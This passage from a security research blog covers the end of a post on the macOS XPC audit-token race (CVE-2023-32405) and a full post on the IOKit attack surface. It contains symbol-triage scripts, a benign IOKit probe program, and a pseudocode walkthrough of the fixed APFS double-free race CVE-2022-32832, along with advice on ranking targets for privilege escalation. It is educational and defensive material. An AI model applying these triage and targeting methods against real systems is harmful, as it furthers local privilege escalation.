<p>Sector 7 are blunt about the limits. It survives the App Sandbox, since both services are reachable from inside it, but the helper has to be in the attacker&rsquo;s own bundle, so none of it helps out of a compromised renderer or someone else&rsquo;s app. The realistic scenario is an app distributed outside the Mac App Store that presents as sandboxed and is not. They confirmed a second variant, where a reply parsed on another queue replaces the token mid-handler, but found no first-party instance of it.</p>
<p>Apple fixed this in macOS 13.4 by changing one call in <code>smd</code> from <code>xpc_connection_get_audit_token</code> to <code>xpc_dictionary_get_audit_token</code>. The advisory files CVE-2023-32405 under libxpc, credits Thijs Alkemade of Computest Sector 7, and gives the impact as &ldquo;An app may be able to gain root privileges&rdquo;. Only <code>smd</code> was fixed. Any other service that asks a connection who its peer is, from outside an event handler, has the same bug.</p>
<h2 id="hands-on-sorting-daemons-by-how-they-check-you">Hands-on: sorting daemons by how they check you</h2>
<p>Which of those three functions a daemon calls is visible without a disassembler, because all three come from libxpc and show up in the binary&rsquo;s undefined symbols:</p>
<pre><code class="language-bash">for b in /usr/libexec/* /usr/sbin/*; do
  [ -f &quot;$b&quot; ] || continue
  ids=$(nm -u &quot;$b&quot; 2&gt;/dev/null |
        grep -oE '_(xpc_connection_get_pid|xpc_connection_get_audit_token|xpc_dictionary_get_audit_token|audit_token_to_pid)$' |
        sed 's/^_//' | sort -u | paste -sd, -)
  [ -n &quot;$ids&quot; ] &amp;&amp; printf '%-28s %s\n' &quot;$(basename &quot;$b&quot;)&quot; &quot;$ids&quot;
done
</code></pre>
<pre><code>airportd                     audit_token_to_pid
appleh16camerad              xpc_connection_get_pid
applekeystored               xpc_connection_get_audit_token,xpc_connection_get_pid
companiond                   xpc_connection_get_audit_token,xpc_connection_get_pid
configd                      audit_token_to_pid,xpc_connection_get_pid
cryptexd                     audit_token_to_pid,xpc_connection_get_audit_token,xpc_connection_get_pid,xpc_dictionary_get_audit_token
diagnosticd                  xpc_connection_get_pid
endpointsecurityd            audit_token_to_pid,xpc_dictionary_get_audit_token
kernelmanagerd               xpc_dictionary_get_audit_token
misagent                     xpc_connection_get_pid
nehelper                     xpc_connection_get_pid,xpc_dictionary_get_audit_token
opendirectoryd               audit_token_to_pid,xpc_connection_get_audit_token,xpc_connection_get_pid,xpc_dictionary_get_audit_token
sandboxd                     audit_token_to_pid
secd                         xpc_connection_get_audit_token
smd                          xpc_dictionary_get_audit_token
syspolicyd                   audit_token_to_pid,xpc_connection_get_audit_token,xpc_connection_get_pid
taskgated                    audit_token_to_pid
trustd                       xpc_connection_get_audit_token
xpcproxy                     xpc_dictionary_get_audit_token
... 89 daemons in all
</code></pre>
<p>Read it as triage. <code>diagnosticd</code>, the root-owned service in the case study, imports <code>xpc_connection_get_pid</code> and none of the other three, so whatever it decides about its peer it decides on a slot number, and daemons in that group go to the top of the list. <code>trustd</code> and <code>secd</code> import <code>xpc_connection_get_audit_token</code>, which is not a bug by itself since it is correct inside an event handler; telling those two cases apart is the part that needs the disassembler. <code>smd</code>, <code>endpointsecurityd</code> and <code>kernelmanagerd</code> import <code>xpc_dictionary_get_audit_token</code>, the per-message call. Watch also for <code>audit_token_to_pid</code>, which <code>configd</code>, <code>sandboxd</code> and <code>taskgated</code> carry: it takes a token and collapses it back to a PID, discarding the <code>pidversion</code> that made the token worth having, so if that PID drives an authorization decision the reuse gap is open again.</p>
<p><code>smd</code> is the whole point of the exercise. Read the same way, on a current macOS it imports the per-message token call and not the connection variant:</p>
<pre><code>$ nm -u /usr/libexec/smd | grep audit_token | sort -u
_sandbox_check_by_audit_token
_xpc_dictionary_get_audit_token
</code></pre>
<p>The <code>xpc_dictionary_get_audit_token</code> line is the fix from the case study, three years on, sitting in the symbol table; <code>sandbox_check_by_audit_token</code> shows <code>smd</code> also runs its sandbox check against the message&rsquo;s token rather than the connection&rsquo;s. Intersect the full list with the <code>mach-lookup</code> names your attacker position can resolve, and what is left is a few dozen binaries with one question each: is that call reachable from anywhere other than the event handler.</p>
<h2 id="state-in-2026">State in 2026</h2>
<p><strong><code>mach_msg2</code> (iOS 16, macOS 13).</strong> <code>mach_msg()</code> now goes through a split trap that passes the descriptor count as its own argument instead of reading it from the buffer, so impossible shapes die at the syscall boundary. The comment in <code>osfmk/ipc/mach_msg.c</code> names the reason: &ldquo;Simple message cannot contain descriptors. This invalid config can only happen from <code>mach_msg2_trap()</code> since <code>desc_count</code> is passed as its own trap argument.&rdquo;</p>
<p><strong><code>kalloc_type</code> (iOS 15, broadened from iOS 16).</strong> The zone allocator segregates by type, so the reallocate-across-types manoeuvre that turned MIG reference-count bugs into fake ports is far less reliable. The next post takes that apart.</p>
<p><strong>Audit tokens, unevenly.</strong> Apple has been migrating first-party services onto per-message tokens since 2023, one service at a time. Third-party privileged helpers, where most of this code lives on macOS, were never migrated at all.</p>
<p><strong>Launch and environment constraints (iOS 16, macOS 13).</strong> AMFI, Apple Mobile File Integrity, enforces constraints on what may launch a platform binary and in what context, which closes the re-launch trick for the Apple binaries that carry a constraint category in the trust cache. A third-party binary carries none, and the PID-reuse attack above re-launched one of those.</p>
<p>What has not changed: a service that answers &ldquo;who is calling&rdquo; by asking the connection, from outside an event handler, is wrong in a way nothing on this list addresses, and MIG still checks a message&rsquo;s shape and never its meaning.</p>
<h2 id="where-this-leaves-us">Where this leaves us</h2>
<p>The transport moves capabilities, so every question about privilege here becomes a question about which port a process holds and what a message did to a reference count. A caller&rsquo;s identity is nowhere in what the sender wrote. It is in a trailer the kernel appends and the receiver has to ask for, and that trailer belongs to one message while the connection it arrived on belongs to everyone holding a send right. Services that keep those two apart are hard to fool. Services that do not can be made to do privileged work for a caller they never authorized, on either platform.</p>
<p>None of it reaches the kernel. A confused deputy gets you a more privileged userland context, and a MIG bug gets you a corrupted object and little else on its own. The next post picks up there: turning one memory-corruption primitive into stable kernel read and write, with heap layout, physical use-after-free, and the data-only strategies that survive <code>kalloc_type</code>.</p>
<h2 id="notes-and-sources">Notes and sources</h2>
<p>Everything here is drawn from open source, vendor documentation, published research, and binaries shipped on any Mac.</p>
<ul>
<li>Apple, <a href="https://github.com/apple-oss-distributions/xnu">XNU source</a>: <code>osfmk/mach/message.h</code> for the header, dispositions, descriptors and trailers; <code>bsd/kern/kern_prot.c</code> for <code>proc_calc_audit_token()</code> and the audit-token layout quoted above; <code>osfmk/kern/ipc_kobject.c</code> for the MIG ownership convention; <code>osfmk/mach/mig.h</code> for the routine table; <code>osfmk/ipc/mach_msg.c</code> for the <code>mach_msg2</code> shape checks.</li>
<li>Sector 7 (Computest), <a href="https://web.archive.org/web/20250604035429/https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/">&ldquo;Don&rsquo;t Talk All at Once! Elevating Privileges on macOS by Audit Token Spoofing&rdquo;</a> (13 October 2023), the source for the whole case study: the XPC handshake and its <code>'w00t'</code> message ID, <code>_xpc_connection_set_creds</code>, the <code>smd</code> and <code>diagnosticd</code> race, the decompilation above, and the fix. Linked through the Internet Archive because Sector 7 has since become DEFION and the article&rsquo;s own URL now redirects to an index page.</li>
<li>Apple, <a href="https://support.apple.com/en-us/106333">&ldquo;About the security content of macOS Ventura 13.4&rdquo;</a>, for CVE-2023-32405 itself: filed under libxpc, impact &ldquo;An app may be able to gain root privileges&rdquo;, credited to Thijs Alkemade (@xnyhps) of Computest Sector 7.</li>
<li>Scott Knight, <a href="https://knight.sc/reverse%20engineering/2020/03/20/audit-tokens-explained.html">&ldquo;Audit tokens explained&rdquo;</a> (2020), on how the audit token reaches a receiver through the Mach trailer.</li>
<li>Samuel Groß, <a href="https://saelo.github.io/presentations/warcon18_dont_trust_the_pid.pdf">&ldquo;Don&rsquo;t Trust the PID! Stories of a simple logic bug and where to find it&rdquo;</a> (WarCon 2018), the talk that made PID-based authorization a known-bad pattern.</li>
<li>Csaba Fitzl, <a href="https://theevilbit.github.io/posts/secure_coding_xpc_part5/">&ldquo;Secure coding XPC Services, part 5&rdquo;</a> (CVE-2020-14977), a worked PID-reuse attack against a real service.</li>
<li>Brandon Azad, <a href="https://projectzero.google/2019/01/voucherswap-exploiting-mig-reference.html">&ldquo;voucher_swap: Exploiting MIG reference counting in iOS 12&rdquo;</a> (Project Zero, 2019), the canonical MIG ownership bug.</li>
<li>Dillon Franke, <a href="https://projectzero.google/2026/01/sound-barrier-2.html">&ldquo;Breaking the Sound Barrier, Part II: Exploiting CVE-2024-54529&rdquo;</a> (Project Zero, 2026), for the object-by-ID type confusion in <code>coreaudiod</code>.</li>
<li>Jonathan Levin, <em>*OS Internals, Volume I: User Mode</em> (<a href="https://newosxbook.com/index.php">newosxbook.com</a>), the reference for Mach IPC, MIG internals, the launchd bootstrap namespace and XPC.</li>
<li>Apple, <a href="https://support.apple.com/guide/security/welcome/web">Apple Platform Security</a>, for the vendor-level account of app sandboxing and the mandatory access controls behind it.</li>
</ul>]]></description>
    </item>
    <item>
      <title>Apple internals #5: IOKit up close</title>
      <link>https://sigreturn.com/blog/iokit-attack-surface/</link>
      <guid isPermaLink="true">https://sigreturn.com/blog/iokit-attack-surface/</guid>
      <pubDate>Sat, 11 Jul 2026 12:00:00 +0000</pubDate>
      <author>contact@sigreturn.com (Adam Taguirov)</author>
      <category>System Internals</category>
      <category>ios</category>
      <category>iokit</category>
      <category>xnu</category>
      <category>user-client</category>
      <category>lpe</category>
      <category>kernel</category>
      <description><![CDATA[<p><a href="/blog/ios-sandbox/">The previous post</a> ended on the sandbox profile of a confined process: the exact set of Mach services, files, and IOKit user clients that process is allowed to reach. This post takes one of those user clients and follows it down. When a sandboxed app is allowed to open an IOKit user client, it can call, from userland, straight into kernel driver code. That path is where most iOS local privilege escalation (LPE) begins: going from an app&rsquo;s own privileges up to the kernel&rsquo;s.</p>
<p>IOKit is XNU&rsquo;s driver framework. (XNU, &ldquo;X is Not Unix&rdquo;, is the kernel iOS and macOS share.) Hundreds of drivers live inside it, for the GPU, the display, the camera, the neural engine, the codecs, storage, USB, HID, and each one can publish an endpoint that userland is allowed to open and call. Most of that code is C++ written years ago by different teams, all reached through the same handful of calls. It is the single widest kernel attack surface an unprivileged process can reach, and it is why an iOS LPE almost always runs through a driver.</p>
<p>There are too many drivers to go through one by one. They all work the same way though: the same few calls to open one and call it, and the same kind of table inside that decides which function your call reaches. Learn that once and you can read any of them. This post stops at the bug and how you reach it. Turning a bug into a stable kernel read/write comes later in the series.</p>
<div class="admonition note">
<p>Everything here is public: Apple&rsquo;s open-source XNU, the IOKit headers, the Apple Platform Security documentation, and published research from Brandon Azad, Ian Beer, Saar Amar, Karol Mazurek and others. The one bug walked in detail, CVE-2022-32832, is fixed and has a public writeup and proof-of-concept. There is no exploit, private detail, or 0day here.</p>
</div>
<h2 id="what-iokit-is">What IOKit is</h2>
<p>If you come from Linux, the shape is <code>ioctl</code>. A user client is a device node you open, and <code>IOConnectCallMethod</code> is the call you make on it afterwards. Most of the vocabulary maps over:</p>
<table>
<thead>
<tr>
<th>iOS / IOKit</th>
<th>Linux</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>IOServiceOpen()</code> → <code>io_connect_t</code></td>
<td><code>open("/dev/foo")</code> → fd</td>
</tr>
<tr>
<td><code>IOConnectCallMethod(conn, selector, …)</code></td>
<td><code>ioctl(fd, cmd, arg)</code></td>
</tr>
<tr>
<td>the selector</td>
<td>the ioctl command number</td>
</tr>
<tr>
<td><code>IOExternalMethodDispatch[]</code></td>
<td>the driver&rsquo;s <code>switch (cmd)</code></td>
</tr>
<tr>
<td>the declared <code>checkStructureInputSize</code></td>
<td>the size encoded in <code>_IOW(type, nr, struct)</code></td>
</tr>
<tr>
<td>the IORegistry</td>
<td>sysfs and the device tree</td>
</tr>
<tr>
<td><code>retain()</code> / <code>release()</code> on <code>OSObject</code></td>
<td><code>kref_get()</code> / <code>kref_put()</code> on a <code>kobject</code></td>
</tr>
</tbody>
</table>
<p>The row worth stopping on is the argument contract. Linux encodes a size in the command number by convention and leaves each driver to honour it. IOKit writes the expected counts in a table, and the framework checks them before the handler runs. That table is what you read when you audit an IOKit driver.</p>
<p>IOKit is written in a stripped-down C++ that Apple calls libkern: no exceptions, no runtime type information (RTTI), no multiple inheritance, because this runs in the kernel. Without RTTI, a driver cannot recover an object&rsquo;s type from the language at runtime, so IOKit tracks it separately: a runtime cast is written <code>OSDynamicCast(SomeClass, obj)</code> and returns <code>NULL</code> on a mismatch. Skip that cast, or trust a type without it, and you have a <strong>type confusion</strong>.</p>
<p>Almost every IOKit object derives from one base class, <code>OSObject</code>, and two facts about it carry through the whole post. Its first field is a pointer to the object&rsquo;s vtable (the table of function pointers behind every virtual C++ call), so controlling an object&rsquo;s contents puts you one indirection from controlling a call target, which is why Apple signs that pointer with PAC (Pointer Authentication Codes) on modern hardware. And it is reference counted: free an object while something still points at it and you have a <strong>use-after-free</strong>.</p>
<p>The drivers sit in a tree, the <strong>IORegistry</strong>, that you can browse on any Mac or device. A driver matches to a piece of hardware, goes live, and can then vend a <strong>user client</strong>: the object userland actually opens and calls. That user client is what we attack.</p>
<h2 id="the-userland-to-kernel-bridge">The userland-to-kernel bridge</h2>
<p>Opening a user client takes one call:</p>
<pre><code class="language-c">io_connect_t conn;
IOServiceOpen(service, mach_task_self(), type, &amp;conn);
</code></pre>
<p><code>IOServiceOpen</code> asks a driver to create a user client for your task. The sandbox and entitlement checks happen here, in the framework rather than in the driver: a MACF hook, <code>mac_iokit_check_open_service</code>, is where <code>Sandbox.kext</code> enforces your profile&rsquo;s <code>iokit-open</code> rules, and the framework itself tests any entitlement the driver named in <code>kIOUserClientEntitlementsKey</code>. If they pass you get back an <code>io_connect_t</code>. That handle is a <strong>Mach port</strong>, a send right in the sense from <a href="/blog/xnu-under-the-hood/">the XNU post</a>: an unforgeable reference to a kernel object, this one being your user client. Everything you do to the driver now goes through that port.</p>
<p>You call a method on it with one of the <code>IOConnectCall*</code> functions:</p>
<pre><code class="language-c">IOConnectCallMethod(conn, selector,
                    scalarInput, scalarInputCnt,    // uint64_t array
                    structInput, structInputSize,   // opaque bytes
                    scalarOutput, &amp;scalarOutputCnt,
                    structOutput, &amp;structOutputSize);
</code></pre>
<p>You choose the <strong>selector</strong> (which method to call) and two payloads: an array of 64-bit scalars and an opaque struct blob. You also supply the <strong>count or size</strong> of each. Hold on to that: the input, and the numbers describing how big it is, both come from userland. On the way in, the kernel packs them into an <code>IOExternalMethodArguments</code> structure and calls the driver&rsquo;s <code>externalMethod</code>. Whether the driver checks those numbers before trusting them is the difference between a working call and a bug.</p>
<p>(The synchronous <code>IOConnectCall*</code> functions cross into the kernel as one MIG routine, <code>io_connect_method</code>; the <code>IOConnectCallAsync*</code> variants use a separate one, <code>io_connect_async_method</code>. MIG, the Mach Interface Generator, is the kernel&rsquo;s RPC-stub compiler, and its generated stubs are a bug surface of their own.)</p>
<h2 id="where-the-call-lands-the-dispatch-table">Where the call lands: the dispatch table</h2>
<p>Inside <code>externalMethod</code>, the driver turns your selector into an actual function. Almost always it does this with a table, one entry per selector, and the entry says two things: which function to call, and what the arguments are allowed to be.</p>
<p>The classic form is an array of <code>IOExternalMethodDispatch</code>, one 0x18-byte entry per selector:</p>
<pre><code class="language-c">struct IOExternalMethodDispatch {
    IOExternalMethodAction function;      // the handler
    uint32_t checkScalarInputCount;       // required scalar count
    uint32_t checkStructureInputSize;     // required struct size
    uint32_t checkScalarOutputCount;
    uint32_t checkStructureOutputSize;
};
</code></pre>
<p>The four <code>check*</code> fields are the bounds. If your call&rsquo;s scalar count or struct size does not match what the entry declares, the call is refused before the handler runs. The comparison itself has always lived in <code>IOUserClient::externalMethod</code>. What was left to each driver was declaring the right numbers, bounds-checking the selector against the array before indexing it, and routing the call through the base implementation at all. Getting any of those wrong is the oldest IOKit bug there is: the handler indexes or copies using a count the caller controls, and writes out of bounds.</p>
<p><code>kIOUCVariableStructureSize</code>, <code>0xFFFFFFFF</code>, in any of the four check fields means &ldquo;variable, do not check&rdquo;: the caller may send any count or size, and the handler has to validate it itself. Those are the selectors to read first, because the check moved out of the framework and into hand-written code, which is where the mistakes are.</p>
<p><code>IOUserClient2022</code> arrived in iOS 16 and by now carries most of the clients worth attacking. Its entries are 0x28 bytes: the same five fields plus a flag for whether the method may be called asynchronously and an optional entitlement string the caller must hold. The framework now also bounds-checks the selector against the array, gates async calls behind that flag, can require a per-selector entitlement, and can single-thread <code>externalMethod</code> for you. That removed most of the &ldquo;driver forgot to bounds-check&rdquo; bugs. What is left is the <code>0xFFFFFFFF</code> handlers that still check their own sizes, and logic bugs the count checks were never going to catch.</p>
<h2 id="the-surface-and-how-to-see-it">The surface, and how to see it</h2>
<p>Hundreds of drivers, each vending one or more user clients, each user client exposing tens or hundreds of selectors: that is the surface. What <em>you</em> can reach is a subset your sandbox decides. Its profile lists the user-client classes the process may open, the <code>iokit-open</code> rules from the sandbox post, and that list is your target set. Start with what is live.</p>
<p><strong>Count them.</strong> One iOS 15 kernelcache for the iPhone X carries 240 prelinked kexts, the kernel extensions that hold the drivers:</p>
<pre><code>$ ipsw kernel kexts kernelcache.release.iPhone10,3
   • Kexts                     count=240
...
0xfffffff008304bd0: com.apple.driver.AppleMobileFileIntegrity (1.0.5)
0xfffffff0085f8d98: com.apple.iokit.IOSurface (302.9)
0xfffffff008d86d30: com.apple.filesystems.apfs (1933.12.1)
0xfffffff008f16720: com.apple.driver.AppleAVE2 (500.92.7)
0xfffffff009015130: com.apple.security.sandbox (300.0)
0xfffffff00946c5b0: com.apple.iokit.IOGPUFamily (35.8)
0xfffffff0094872a8: com.apple.AGXG10P (187.33)
</code></pre>
<p>Not every kext vends a user client, and not every user client is reachable from a sandbox, but that is the pool you are drawing from. <code>com.apple.filesystems.apfs</code>, at <code>0xfffffff008d86d30</code>, is the one we come back to.</p>
<p><strong>See which are live.</strong> <code>ioclasscount</code> prints how many instances of each class exist right now. On any Mac:</p>
<pre><code class="language-bash">ioclasscount | grep -i userclient | sort -t= -k2 -rn | head -12
</code></pre>
<pre><code>IOHIDEventServiceUserClient = 187
RootDomainUserClient = 164
AppleKeyStoreUserClient = 102
IOSurfaceRootUserClient = 88
AGXDeviceUserClient = 81
IOUserClient = 40
IOHIDResourceDeviceUserClient = 34
IOUserUserClient = 15
IOUserClient2022 = 15
IOReportUserClient = 9
IOMobileFramebufferUserClient = 9
AppleCredentialManagerUserClient = 8
</code></pre>
<p><code>ioclasscount</code> reports an instance count bumped by the number of direct subclasses that have any instances, so a concrete class like <code>IOSurfaceRootUserClient</code> at 88 really is 88 live connections, while an abstract base reports how many of its direct subclasses are in use. <code>IOSurfaceRootUserClient</code> is the object a later post uses to build kernel read/write. <code>IOMobileFramebufferUserClient</code> is the family behind several bugs used in the wild. And <code>IOUserClient2022</code> is abstract, so its 15 is not 15 connections: it is 15 driver user-client classes that have adopted the 2022 dispatcher and have live instances right now. <code>ioreg -l</code> gives you the same tree with every property, if you want to see what one driver exposes.</p>
<p><strong>Open one and call it.</strong> The bridge from earlier, as a real program: open a service, call one method, print what came back.</p>
<pre><code class="language-c">#include &lt;IOKit/IOKitLib.h&gt;
#include &lt;mach/mach.h&gt;
#include &lt;stdio.h&gt;

static void try_open(const char *name) {
    io_service_t svc = IOServiceGetMatchingService(
        kIOMainPortDefault, IOServiceMatching(name));
    if (!svc) { printf(&quot;%-26s no such service\n&quot;, name); return; }

    io_connect_t conn = 0;
    kern_return_t kr = IOServiceOpen(svc, mach_task_self(), 0, &amp;conn);
    printf(&quot;%-26s IOServiceOpen -&gt; 0x%08x\n&quot;, name, kr);

    if (kr == KERN_SUCCESS) {
        uint64_t in[1] = {0};
        kr = IOConnectCallScalarMethod(conn, 0, in, 1, NULL, NULL);
        printf(&quot;%-26s selector 0    -&gt; 0x%08x\n&quot;, name, kr);
        IOServiceClose(conn);
    }
    IOObjectRelease(svc);
}

int main(void) {
    try_open(&quot;IOSurfaceRoot&quot;);
    try_open(&quot;AppleAPFSContainer&quot;);
    try_open(&quot;AGXAccelerator&quot;);
    return 0;
}
</code></pre>
<pre><code>$ clang iokit.c -framework IOKit -framework CoreFoundation -o iokit
$ ./iokit
IOSurfaceRoot              IOServiceOpen -&gt; 0x00000000
IOSurfaceRoot              selector 0    -&gt; 0xe00002c2
AppleAPFSContainer         IOServiceOpen -&gt; 0x00000000
AppleAPFSContainer         selector 0    -&gt; 0xe00002c2
AGXAccelerator             IOServiceOpen -&gt; 0xe00002c7
</code></pre>
<p><code>IOSurfaceRoot</code> and <code>AppleAPFSContainer</code> both opened, <code>0x00000000</code> being <code>kIOReturnSuccess</code>, so an ordinary unprivileged process is now holding a live connection to a kernel driver. Calling selector 0 on either returns <code>0xe00002c2</code>, <code>kIOReturnBadArgument</code>: the driver compared the single scalar we sent against what that selector declares and refused before the handler ran. That is the dispatch table&rsquo;s <code>check*</code> fields rejecting the call, seen from userland. <code>AGXAccelerator</code> never opened at all: <code>0xe00002c7</code> is <code>kIOReturnUnsupported</code>, so the GPU service is in the registry but will not vend us this kind of client.</p>
<p>Return codes alone tell you which drivers you can reach and which selectors refuse which shapes of argument. The full list is in <code>&lt;IOKit/IOReturn.h&gt;</code>.</p>
<p><strong>Watch the call leave the process.</strong> The kernel end of this is <code>is_io_connect_method</code> (the <code>is_</code> prefix marks the MIG server routine), and tracing it needs a DTrace <code>fbt</code> probe, which System Integrity Protection blocks on a stock Mac. The userland end needs nothing but <code>lldb</code> on your own binary:</p>
<pre><code>$ lldb iokit
(lldb) b IOConnectCallScalarMethod
Breakpoint 1: where = IOKit`IOConnectCallScalarMethod, address = 0x00000001848516a0
(lldb) run   # the address moves: lldb resolves it before launch, then the shared cache slides
IOSurfaceRoot              IOServiceOpen -&gt; 0x00000000
Process 78068 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x000000018f47d6a0 IOKit`IOConnectCallScalarMethod
IOKit`IOConnectCallScalarMethod:
-&gt;  0x18f47d6a0 &lt;+0&gt;:  pacibsp
    0x18f47d6a4 &lt;+4&gt;:  sub    sp, sp, #0x50
    0x18f47d6a8 &lt;+8&gt;:  stp    x29, x30, [sp, #0x40]
    0x18f47d6ac &lt;+12&gt;: add    x29, sp, #0x40
(lldb) bt
  * frame #0: 0x000000018f47d6a0 IOKit`IOConnectCallScalarMethod
    frame #1: 0x0000000100000654 iokit`try_open + 224
    frame #2: 0x000000010000054c iokit`main + 36
    frame #3: 0x000000018ad5fda4 dyld`start + 6992
(lldb) register read x0 x1 x2 x3
      x0 = 0x0000000000001b0f
      x1 = 0x0000000000000000
      x2 = 0x000000016fdfeb50
      x3 = 0x0000000000000001
</code></pre>
<p><code>x0</code> is <code>0x1b0f</code>, the <code>io_connect_t</code>, which is a Mach port name in our task. <code>x1</code> is the selector, 0. <code>x2</code> points at our scalar array on the stack and <code>x3</code> is its count, 1. Those last two are the pair the driver has to check, and <code>kIOReturnBadArgument</code> above is what it looks like when it does.</p>
<p><code>pacibsp</code> signs the return address before the function does anything else, so PAC is already in force on the userland side of this call.</p>
<h2 id="the-bug-classes">The bug classes</h2>
<p>Four classes cover most of them.</p>
<p><strong>Unbounded counts (out-of-bounds read/write).</strong> The oldest one. A handler trusts a caller-supplied count or size, or a length embedded in the struct input, and reads or writes past its buffer. This is the class the dispatch-table <code>check*</code> fields exist to kill.</p>
<p><strong>Type confusion.</strong> A driver treats an object as a type it is not, usually by skipping an <code>OSDynamicCast</code> or trusting a type tag in a property dictionary parsed from your input. IOKit passes structured data around as <code>OSDictionary</code>, <code>OSArray</code>, <code>OSData</code>, and the code that unpacks those is a recurring source of confusions.</p>
<p><strong>Use-after-free and lifecycle.</strong> A user client, or an object it returned, is freed while a call is still using it. It usually happens during teardown: closing the connection, the provider terminating underneath you, an async call finishing late. Getting the reference count slightly wrong causes the same thing.</p>
<p><strong>Races.</strong> A handler takes no lock, so two threads calling the same connection at once corrupt its state, most often by freeing the same object twice. Nothing about the counts is wrong; the bug is that the driver assumed one call at a time. Not every client is racy: a driver that funnels <code>externalMethod</code> through an <code>IOCommandGate</code> is serialised by its workloop, and an <code>IOUserClient2022</code> client that asks for it is serialised by the framework. Check which before you spend a night racing threads. This is the class our case study lands in.</p>
<h2 id="one-bug-start-to-finish-cve-2022-32832">One bug, start to finish: CVE-2022-32832</h2>
<p>Take iOS 15.0 for the iPhone X, load it in Ghidra, and follow the chain: the string <code>AppleAPFSUserClient</code> leads to the <code>OSMetaClass</code> constructor that registers the class, the metaclass leads through <code>getMetaClass</code> to the class vtable, and the vtable ends exactly where the dispatch table begins.</p>
<p><img alt="The AppleAPFSUserClient dispatch table in Ghidra, parsed as an array of IOExternalMethodDispatch: each 0x18-byte entry shows the handler pointer followed by its four declared argument counts" src="dispatch-table.png" loading="lazy" decoding="async" width="1128" height="1444"></p>
<p>Parsed as an array of <code>IOExternalMethodDispatch</code>, the table runs <strong>61 entries</strong>, selectors 0 to 60, and each one states its calling contract. Selector 0 takes a 504-byte structure and returns 4 bytes; selector 2 takes 16 bytes and returns 16. Many entries are <code>NULL</code>: selectors 11 to 28 in one unbroken run, and there are more further down. The index space is wider than the surface you can actually call.</p>
<p>Not one entry in the table uses the <code>0xFFFFFFFF</code> wildcard. Every populated selector declares a fixed size, so the framework really does check each call before the handler sees it. Selector 49 stands out for what it declares: zero scalars in, zero structure in, zero of either out. There is not one byte to validate, so every <code>check*</code> field passes trivially and the call goes straight through to this:</p>
<p><img alt="Selector 49 decompiled in Ghidra: it tests the context pointer at this+0xf0, runs the teardown, and only then writes NULL back to the field" src="sel49-handler.png" loading="lazy" decoding="async" width="702" height="548"></p>
<p>The driver keeps one in-progress operation per connection, held as a single pointer inside the user client. Finalising it means tearing that operation down, then clearing the pointer. Tidied into C, with the names from the public write-up:</p>
<pre><code class="language-c">IOReturn methodDeltaCreateFinalize(AppleAPFSUserClient *this)
{
    if (this-&gt;deltaCreateCtx == NULL)          // at this + 0xf0
        return kIOReturnNotReady;

    deltaCreateTeardown(this-&gt;deltaCreateCtx);
    this-&gt;deltaCreateCtx = NULL;               // cleared after the teardown, not before
    return 0;
}
</code></pre>
<p>Two threads on one connection both pass the test holding the same value:</p>
<pre><code>thread A                          thread B
read  deltaCreateCtx -&gt; ctx
                                  read  deltaCreateCtx -&gt; ctx
test  != NULL        -&gt; ok
                                  test  != NULL        -&gt; ok
deltaCreateTeardown(ctx)
                                  deltaCreateTeardown(ctx)   &lt;- a second time
deltaCreateCtx = NULL
                                  deltaCreateCtx = NULL
</code></pre>
<p><code>deltaCreateTeardown</code> frees the context and the properties hanging off it. Running it twice on the same context is a <strong>double-free</strong> and a reference-count underflow at once.</p>
<p>The second free is the one that matters. It frees a block the allocator may already have reallocated to something else. If you can then get a kernel object into that memory (from iOS 15 on, one sharing the freed block&rsquo;s <code>kalloc_type</code> signature, not any object you like), you can reach it two ways: the legitimate one, and the stale pointer the driver is still holding. Working through the stale pointer is how a bug like this becomes a read and write of kernel memory.</p>
<p>That is the whole bug: nothing the <code>check*</code> fields could have caught, because selector 49 declares no arguments to check. The only thing wrong is the assumption that it runs one call at a time, the same bug you get from two threads in <code>ioctl()</code> on one file descriptor with no mutex. Apple fixed it by wrapping the body in <code>IOLockLock</code>/<code>IOLockUnlock</code>.</p>
<p>Reaching selector 49 takes work. It does nothing until <code>methodDeltaCreatePrepare</code> (selector 36) has left a context behind, which needs an unmounted volume, which normally means creating one with <code>methodVolumeCreate</code> (selector 0), which needs root. Apple&rsquo;s own impact line is &ldquo;An app with root privileges may be able to execute arbitrary code with kernel privileges&rdquo;. So the entry cost is root, one volume you made yourself, one prepared delta context, and then two threads on one connection.</p>
<p>It was fixed in iOS 15.6, which is why the 15.0 kernelcache above still carries it, lock-free.</p>
<h2 id="the-surface-in-2026">The surface in 2026</h2>
<p>The IOKit surface has narrowed since that bug.</p>
<p>iOS 16 split many dispatch tables in two: a full one and a restricted one. A caller without the right entitlement is routed to the restricted table and gets a stub returning <code>kIOReturnNotPermitted</code> for the sensitive selectors; <code>IOSurfaceRootUserClient</code> and the GPU clients work this way. The practical effect: which selectors you can reach depends on your entitlements, so you have to work it out for your own process instead of reading it off one table.</p>
<p>Two more changes make a bug harder to <em>use</em>. <code>kalloc_type</code> segregates the kernel heap by object type, so freeing a victim and reallocating something you control in its place no longer works across types. On the newest hardware, MIE (Memory Integrity Enforcement, the A19 memory-tagging feature from 2025) makes most out-of-bounds and use-after-free accesses fault outright. Both raise the cost of the step after this one.</p>
<p>Even with a full kernel compromise through IOKit, you do not automatically own the page tables or the code-signing verdict. On A15 and later those sit behind separate monitors, SPTM (Secure Page Table Monitor) and TXM (Trusted Execution Monitor), that ordinary kernel code, IOKit included, cannot write to. A kernel read/write is no longer enough on its own.</p>
<h2 id="picking-targets">Picking targets</h2>
<p>Two variables rank every user client: can you reach it, and how weak is its validation.</p>
<ol>
<li><strong>List what you can open.</strong> Parse your sandbox profile&rsquo;s <code>iokit-open</code> rules and cross-check the live registry with <code>ioreg</code>. That intersection is your entire surface, and nothing else is worth a minute.</li>
<li><strong>Recover each dispatch table</strong> from the kernelcache. Find the user client&rsquo;s <code>externalMethod</code>, identify the form (0x18 legacy or 0x28 <code>IOUserClient2022</code>), and read the array: for each selector you get the handler and its declared counts.</li>
<li><strong>Rank the selectors.</strong> Read first: any with a <code>0xFFFFFFFF</code> variable size (the handler validates itself, so the mistakes are there), anything taking a large or complex struct input, anything with no entitlement requirement that you can still reach.</li>
</ol>
<p>A few traps:</p>
<ul>
<li>Restricted and unrestricted tables differ. Reverse the one <em>your</em> entitlements route you to, not the full one.</li>
<li>Struct input over 4096 bytes arrives out-of-line, through a different code path than small input, and the two are often validated differently.</li>
<li>The async variant of a method, called with a completion port so it returns before the handler finishes, is a separate and historically under-read path.</li>
<li>A handler that takes no lock can be raced by two threads.</li>
</ul>
